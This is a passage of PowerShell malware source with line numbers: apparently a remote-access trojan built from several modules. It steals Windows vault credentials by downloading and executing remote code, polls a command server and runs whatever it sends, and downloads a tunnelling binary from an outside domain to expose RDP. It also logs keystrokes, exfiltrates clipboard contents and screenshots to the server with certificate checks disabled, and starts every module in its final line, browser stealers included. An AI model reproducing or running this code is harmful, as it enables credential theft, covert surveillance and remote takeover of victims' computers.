						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
747
						$jsonResult += 
748
@"
749
	"{0}": {1}
750
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
751
					}
752
					return "{" + $jsonResult + "}"
753
				}
754
	            default { #object
755
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}
756
					
757
					return "{" +
758
						(($value | Get-Member -MemberType *property | % { 
759
@"
760
	"{0}": {1}
761
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )			
762
					
763
					}) -join ', ') + "}"
764
	    		}
765
		}
766
	}
767
}
768
769
            $url = $args[0]
770
            $resolution = $args[1]
771
            $domain = $args[2]
772
            $computer_name = $args[3]
773
            $username = $args[4]
774
            $timezone = $args[5]
775
            $hashid = $args[6]
776
            $version = $args[7]                      
777
            $vault_url = $url+'/script?id=random&name=vault'
778
            Write-host $vault_url
779
            [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
780
            IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction SilentlyContinue
781
            #Write-host 'ERROR'
782
            #$vaultcredserror
783
            $vaultcreds = $vaultcreds | Out-String
784
            $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($vaultcreds))
785
            if ($content.length -ne 0) {
786
                $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "vault"}
787
                $json
788
                $log_json = $json | ConvertTo-Json
789
790
                $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
791
                write-host $buffer
792
                
793
                [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
794
                $webRequest.ContentType = "application/json"
795
                $webRequest.Timeout = 10000
796
                $webRequest.Method = "POST"
797
                $webRequest.ContentLength = $buffer.Length;
798
799
800
                $requestStream = $webRequest.GetRequestStream()
801
                $requestStream.Write($buffer, 0, $buffer.Length)
802
                $requestStream.Flush()
803
                $requestStream.Close()
804
805
                [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
806
                $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
807
                $result = $streamReader.ReadToEnd()
808
                                    }
809
810
                           } -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
811
                  }                 
812
    
813
814
function WebGet {
815
    Start-Job -ScriptBlock {
816
            $url = $args[0]
817
            $resolution = $args[1]
818
            $domain = $args[2]
819
            $computer_name = $args[3]
820
            $username = $args[4]
821
            $timezone = $args[5]
822
            $hashid = $args[6]
823
            $version = $args[7]      
824
        while ($true) {
825
            $WebClient=New-Object net.webclient
826
            [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
827
            $String=$WebClient.DownloadString($url+"/command?domain=$domain&username=$username&hashid=$hashid&computer_name=$computer_name&ver=$version")
828
            if ($String -ne '0') { 
829
                foreach ($cmd in ($string -split '["\n\r"|"\r\n"|\n|\r]')) {
830
                   if ($cmd.StartsWith("+screenshot",1)) { $cmd | Out-File $env:temp\keywords.txt }
831
                   elseif ($cmd.StartsWith("-screenshot",1)) { Remove-Item $env:temp\keywords.txt }
832
                   elseif ($cmd.StartsWith("+vnc", 1)) {
833
                        if([IntPtr]::Size -eq 8) { 
834
                            & cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');"
835
                            }
836
                        else { & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');" }
837
                        }
838
                   # +rdp username;password;trigger-port;10.0.0.1
839
                   elseif ($cmd.StartsWith("+rdp", 1)) { 
840
                        $creds = ($cmd.split(' '))[1]
841
                        $plink_username =  ($creds.split(';'))[0]
842
                        $plink_password = ($creds.split(';'))[1]
843
                        $plink_trigger_port = ($creds.split(';'))[2]
844
                        $plink_ip = ($creds.split(';'))[3]
845
                        $plink_username, $plink_password, $plink_trigger_port, $plink_ip
846
                        Start-Job -ScriptBlock { 
847
                        #IF ((Test-Path "$env:temp\plink.exe") -eq $False) { (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/x86/plink.exe', "$env:temp\plink.exe");}
848
                        IF ((Test-Path "$env:temp\stnlc.exe") -eq $False) 
849
                            { 
850
                            (New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/stnlc.bin', "$env:temp\stnlc.exe")
851
                            (New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/CiWinCng32.dll', "$env:temp\CiWinCng32.dll")
852
                            }
853
                        $plink_username = $args[0]
854
                        $plink_password = $args[1]
855
                        $plink_trigger_port = $args[2]
856
                        $plink_ip = $args[3]
857
                        Stop-Process -name stnlc -ErrorAction SilentlyContinue
858
                        #& cmd /c "echo yes | $env:temp\plink.exe -R "+$plink_trigger_port+":127.0.0.1:3389 -l $plink_username -pw $plink_password $plink_ip -N" } -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
859
                        & cmd /c "echo S | $env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password"
860
                        & cmd /c "$env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password -unat=y"
861
                        } -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
862
                   elseif ($cmd -ne '') { Start-Job -ScriptBlock {& cmd /c $args[0]} -ArgumentList $cmd
863
                   Write-Host $args[0]
864
                   
865
                   }}}
866
            $WebGetTimer = 1200
867
            Start-Sleep -Seconds $WebGetTimer
868
            }
869
        } -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
870
    }
871
872
function PostFile($file_name) {
873
$name = (Get-ChildItem $file_name).name
874
$bytes = [System.IO.File]::ReadAllBytes($file_name)
875
$enc = [System.Text.Encoding]::GetEncoding($codePageName)
876
$data = $enc.GetString($bytes)
877
878
[System.Net.WebRequest]$webRequest = [System.Net.WebRequest]::Create($params.url+'/pshscr')
879
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
880
$webRequest.ContentType = "image/jpeg"
881
$webRequest.Method = "POST"
882
[byte[]]$bytes = $enc.GetBytes($data);
883
$webRequest.ContentLength = $bytes.Length;
884
$webRequest.Headers.add('content-disposition', "file=$name")
885
$webRequest.Headers.add('hashid', $params.hashid)
886
$webRequest.Headers.add('computer_name', $params.computer_name)
887
$webRequest.Headers.add('domain', $params.domain)
888
$webRequest.Headers.add('username', $params.username)
889
[System.IO.Stream]$reqStream = $webRequest.GetRequestStream()
890
$reqStream.Write($bytes, 0, $bytes.Length);
891
$reqStream.Flush();
892
893
$resp = $webRequest.GetResponse();
894
$rs = $resp.GetResponseStream();
895
[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $rs;
896
$sr.ReadToEnd();
897
898
}
899
900
901
902
function WebPost {
903
    $pshlog_url = $params.url+"/pshlog"
904
    while ($true) {
905
        $WebPostTimer = 1200
906
        Start-Sleep -Seconds $WebPostTimer
907
        Write-host $params.log_file
908
        If (Test-Path $log_file) { 
909
            #$content = [IO.File]::ReadAllText($params.log_file)
910
            $aaa = Get-Content $params.log_file
911
            $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
912
            $json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "keylog"}
913
            $log_json = $json | ConvertTo-Json
914
            Write-Host $log_json
915
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
916
            [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($pshlog_url)
917
            [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
918
            $webRequest.ContentType = "application/json"
919
            $webRequest.Timeout = 10000
920
            $webRequest.Method = "POST"
921
            $webRequest.ContentLength = $buffer.Length;
922
923
924
            $requestStream = $webRequest.GetRequestStream()
925
            $requestStream.Write($buffer, 0, $buffer.Length)
926
            $requestStream.Flush()
927
            $requestStream.Close()
928
929
            [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
930
            $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
931
            $result = $streamReader.ReadToEnd()
932
            Remove-Item $log_file
933
}
934
        if (Test-Path "$env:Temp\Applnsights_VisualStudio.txt") {
935
            
936
            $clipfile = "$env:Temp\Applnsights_VisualStudio.txt"
937
            $aaa = Get-Content $clipfile | Out-String
938
            $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
939
            
940
            $json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "clipboard"}
941
            $log_json = $json | ConvertTo-Json
942
            write-host $log_json
943
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
944
            [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("$pshlog_url")
945
            [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
946
            $webRequest.ContentType = "application/json"
947
            $webRequest.Timeout = 10000
948
            $webRequest.Method = "POST"
949
            $webRequest.ContentLength = $buffer.Length;
950
951
952
            $requestStream = $webRequest.GetRequestStream()
953
            $requestStream.Write($buffer, 0, $buffer.Length)
954
            $requestStream.Flush()
955
            $requestStream.Close()
956
957
            [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
958
            $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
959
            $result = $streamReader.ReadToEnd()
960
            Remove-Item $clipfile
961
}
962
963
964
        $directoryInfo = Get-ChildItem $ScreenshotPath
965
        If ($directoryInfo) {
966
            $directoryInfo | ForEach-Object { 
967
                Write-Host $_.FullName
968
                PostFile($_.FullName)
969
                Remove-Item $_.FullName
970
        }
971
}
972
}
973
}
974
975
976
function Get-Keystrokes {
977
<#
978
.SYNOPSIS
979
980
.PARAMETER LogPath
981
982
	Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
983
984
.PARAMETER Timeout
985
986
	Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
987
988
.PARAMETER PassThru
989
990
	Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
991
992
.EXAMPLE
993
994
	Get-Keystrokes -LogPath C:\key.log
995
996
.EXAMPLE
997
998
	Get-Keystrokes -Timeout 20
999
    
1000
.LINK
1001
1002
	http://www.obscuresec.com/
1003
	http://www.exploit-monday.com/
1004
	https://github.com/secabstraction
1005
	https://github.com/ahhh/PSSE
1006
	
1007
#>
1008
	[CmdletBinding()] 
1009
	Param (
1010
		[Parameter(Position = 0)]
1011
		[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
1012
		[String]$LogPath = "$($env:TEMP)\key.log",
1013
	
1014
		[Parameter(Position = 1)]
1015
		[Double]$Timeout,
1016
	
1017
		[Parameter()]
1018
		[Switch]$PassThru
1019
	)
1020
	
1021
	$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
1022
	
1023
	try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
1024
	catch { throw $_ }
1025
	
1026
	$Script = {
1027
		Param (
1028
			[Parameter(Position = 0)]
1029
			[String]$LogPath,
1030
	
1031
			[Parameter(Position = 1)]
1032
			[Double]$Timeout
1033
		)
1034
	
1035
		function local:Get-DelegateType {
1036
			Param (
1037
				[OutputType([Type])]
1038
			
1039
				[Parameter( Position = 0)]
1040
				[Type[]]
1041
				$Parameters = (New-Object Type[](0)),
1042
			
1043
				[Parameter( Position = 1 )]
1044
				[Type]
1045
				$ReturnType = [Void]
1046
			)
1047
	
1048
			$Domain = [AppDomain]::CurrentDomain
1049
			$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
1050
			$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
1051
			$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
1052
			$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
1053
			$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
1054
			$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
1055
			$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
1056
			$MethodBuilder.SetImplementationFlags('Runtime, Managed')
1057
		
1058
			$TypeBuilder.CreateType()
1059
		}
1060
		function local:Get-ProcAddress {
1061
			Param (
1062
				[OutputType([IntPtr])]
1063
		
1064
				[Parameter( Position = 0, Mandatory = $True )]
1065
				[String]
1066
				$Module,
1067
			
1068
				[Parameter( Position = 1, Mandatory = $True )]
1069
				[String]
1070
				$Procedure
1071
			)
1072
	
1073
			# Get a reference to System.dll in the GAC
1074
			$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
1075
				Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
1076
			$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
1077
			# Get a reference to the GetModuleHandle and GetProcAddress methods
1078
			$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1079
			$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1080
			# Get a handle to the module specified
1081
			$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
1082
			$tmpPtr = New-Object IntPtr
1083
			$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
1084
		
1085
			# Return the address of the function
1086
			$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
1087
		}
1088
	
1089
		#region Imports
1090
	
1091
		[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
1092
	
1093
		# SetWindowsHookEx
1094
		$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
1095
		$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
1096
		$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
1097
	
1098
		# CallNextHookEx
1099
		$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
1100
		$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
1101
		$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
1102
	
1103
		# UnhookWindowsHookEx
1104
		$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
1105
		$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
1106
		$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
1107
	
1108
		# PeekMessage
1109
		$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
1110
		$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
1111
		$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
1112
	
1113
		# GetAsyncKeyState
1114
		$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
1115
		$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
1116
		$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
1117
	
1118
		# GetForegroundWindow
1119
		$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
1120
		$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
1121
		$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
1122
	
1123
		# GetWindowText
1124
		$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
1125
		$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
1126
		$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
1127
	
1128
		# GetModuleHandle
1129
		$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
1130
		$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
1131
		$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
1132
	
1133
		#endregion Imports
1134
	
1135
		$CallbackScript = {
1136
			Param (
1137
				[Parameter()]
1138
				[Int32]$Code,
1139
	
1140
				[Parameter()]
1141
				[IntPtr]$wParam,
1142
	
1143
				[Parameter()]
1144
				[IntPtr]$lParam
1145
			)
1146
	
1147
			$Keys = [Windows.Forms.Keys]
1148
		
1149
			$MsgType = $wParam.ToInt32()
1150
	
1151
			# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
1152
			if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
1153
			
1154
				$hWindow = $GetForegroundWindow.Invoke()
1155
	
1156
				$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
1157
				if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
1158
				else { $Shift = $false }
1159
	
1160
				$Caps = [Console]::CapsLock
1161
	
1162
				# Read virtual-key from buffer
1163
				$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
1164
	
1165
				# Parse virtual-key
1166
				if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
1167
					if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
1168
					else { $Key = $vKey.ToString().ToLower() }
1169
				}
1170
				elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
1171
					switch ($vKey.value__) {
1172
						96 { $Key = '0' }
1173
						97 { $Key = '1' }
1174
						98 { $Key = '2' }
1175
						99 { $Key = '3' }
1176
						100 { $Key = '4' }
1177
						101 { $Key = '5' }
1178
						102 { $Key = '6' }
1179
						103 { $Key = '7' }
1180
						104 { $Key = '8' }
1181
						105 { $Key = '9' }
1182
						106 { $Key = "*" }
1183
						107 { $Key = "+" }
1184
						108 { $Key = "|" }
1185
						109 { $Key = "-" }
1186
						110 { $Key = "." }
1187
						111 { $Key = "/" }
1188
					}
1189
				}
1190
				elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {                      
1191
					if ($Shift) {                           
1192
						switch ($vKey.value__) { # Shiftable characters
1193
							48 { $Key = ')' }
1194
							49 { $Key = '!' }
1195
							50 { $Key = '@' }
1196
							51 { $Key = '#' }
1197
							52 { $Key = '$' }
1198
							53 { $Key = '%' }
1199
							54 { $Key = '^' }
1200
							55 { $Key = '&' }
1201
							56 { $Key = '*' }
1202
							57 { $Key = '(' }
1203
							186 { $Key = ':' }
1204
							187 { $Key = '+' }
1205
							188 { $Key = '<' }
1206
							189 { $Key = '_' }
1207
							190 { $Key = '>' }
1208
							191 { $Key = '?' }
1209
							192 { $Key = '~' }
1210
							219 { $Key = '{' }
1211
							220 { $Key = '|' }
1212
							221 { $Key = '}' }
1213
							222 { $Key = '<Double Quotes>' }
1214
						}
1215
					}
1216
					else {                           
1217
						switch ($vKey.value__) {
1218
							48 { $Key = '0' }
1219
							49 { $Key = '1' }
1220
							50 { $Key = '2' }
1221
							51 { $Key = '3' }
1222
							52 { $Key = '4' }
1223
							53 { $Key = '5' }
1224
							54 { $Key = '6' }
1225
							55 { $Key = '7' }
1226
							56 { $Key = '8' }
1227
							57 { $Key = '9' }
1228
							186 { $Key = ';' }
1229
							187 { $Key = '=' }
1230
							188 { $Key = ',' }
1231
							189 { $Key = '-' }
1232
							190 { $Key = '.' }
1233
							191 { $Key = '/' }
1234
							192 { $Key = '`' }
1235
							219 { $Key = '[' }
1236
							220 { $Key = '\' }
1237
							221 { $Key = ']' }
1238
							222 { $Key = '<Single Quote>' }
1239
						}
1240
					}
1241
				}
1242
				else {
1243
					switch ($vKey) {
1244
						$Keys::F1  { $Key = '<F1>' }
1245
						$Keys::F2  { $Key = '<F2>' }
1246
						$Keys::F3  { $Key = '<F3>' }
1247
						$Keys::F4  { $Key = '<F4>' }
1248
						$Keys::F5  { $Key = '<F5>' }
1249
						$Keys::F6  { $Key = '<F6>' }
1250
						$Keys::F7  { $Key = '<F7>' }
1251
						$Keys::F8  { $Key = '<F8>' }
1252
						$Keys::F9  { $Key = '<F9>' }
1253
						$Keys::F10 { $Key = '<F10>' }
1254
						$Keys::F11 { $Key = '<F11>' }
1255
						$Keys::F12 { $Key = '<F12>' }
1256
			
1257
						$Keys::Snapshot    { $Key = '<Print Screen>' }
1258
						$Keys::Scroll      { $Key = '<Scroll Lock>' }
1259
						$Keys::Pause       { $Key = '<Pause/Break>' }
1260
						$Keys::Insert      { $Key = '<Insert>' }
1261
						$Keys::Home        { $Key = '<Home>' }
1262
						$Keys::Delete      { $Key = '<Delete>' }
1263
						$Keys::End         { $Key = '<End>' }
1264
						$Keys::Prior       { $Key = '<Page Up>' }
1265
						$Keys::Next        { $Key = '<Page Down>' }
1266
						$Keys::Escape      { $Key = '<Esc>' }
1267
						$Keys::NumLock     { $Key = '<Num Lock>' }
1268
						$Keys::Capital     { $Key = '<Caps Lock>' }
1269
						$Keys::Tab         { $Key = '<Tab>' }
1270
						$Keys::Back        { $Key = '<Backspace>' }
1271
						$Keys::Enter       { $Key = '<Enter>' }
1272
						$Keys::Space       { $Key = '< >' }
1273
						$Keys::Left        { $Key = '<Left>' }
1274
						$Keys::Up          { $Key = '<Up>' }
1275
						$Keys::Right       { $Key = '<Right>' }
1276
						$Keys::Down        { $Key = '<Down>' }
1277
						$Keys::LMenu       { $Key = '<Alt>' }
1278
						$Keys::RMenu       { $Key = '<Alt>' }
1279
						$Keys::LWin        { $Key = '<Windows Key>' }
1280
						$Keys::RWin        { $Key = '<Windows Key>' }
1281
						$Keys::LShiftKey   { $Key = '<Shift>' }
1282
						$Keys::RShiftKey   { $Key = '<Shift>' }
1283
						$Keys::LControlKey { $Key = '<Ctrl>' }
1284
						$Keys::RControlKey { $Key = '<Ctrl>' }
1285
                        $Keys::MouseClick  { $Key = '<LMouse>' }
1286
					}
1287
				}
1288
	
1289
				# Get foreground window's title
1290
				$Title = New-Object Text.Stringbuilder 256
1291
				$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
1292
	
1293
				# Define object properties
1294
				$Props = @{
1295
					Key = $Key
1296
					Time = [DateTime]::Now
1297
					Window = $Title.ToString()
1298
                    
1299
				}
1300
	
1301
				$obj = New-Object psobject -Property $Props
1302
			
1303
				# Hack since Export-CSV doesn't have an append switch in PSv2
1304
				$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]+'[]nl'
1305
                #Invoke-WebRequest -uri "http://45.79.173.232:9002/log" -Method POST -Body $JSON
1306
				Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
1307
			}
1308
			return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
1309
		}
1310
	
1311
		# Cast scriptblock as LowLevelKeyboardProc callback
1312
		$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
1313
		$Callback = $CallbackScript -as $Delegate
1314
	
1315
		# Get handle to PowerShell for hook
1316
		$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
1317
		$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
1318
	
1319
		# Set WM_KEYBOARD_LL hook
1320
		$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
1321
	
1322
		$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
1323
	
1324
		while ($true) {
1325
			if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
1326
			$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
1327
			Start-Sleep -Milliseconds 10
1328
		}
1329
	
1330
		$Stopwatch.Stop()
1331
	
1332
		# Remove the hook
1333
		$UnhookWindowsHookEx.Invoke($Hook)
1334
	}
1335
	
1336
	# Setup KeyLogger's runspace
1337
	$PowerShell = [PowerShell]::Create()
1338
	[void]$PowerShell.AddScript($Script)
1339
	[void]$PowerShell.AddArgument($LogPath)
1340
	if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
1341
	
1342
	# Start KeyLogger
1343
	[void]$PowerShell.BeginInvoke()
1344
	
1345
	if ($PassThru.IsPresent) { return $PowerShell }
1346
}
1347
1348
Get-Keystrokes; Title-Monitor; WebGet; GetChrome; GetFF; GetVault; Gclip; WebPost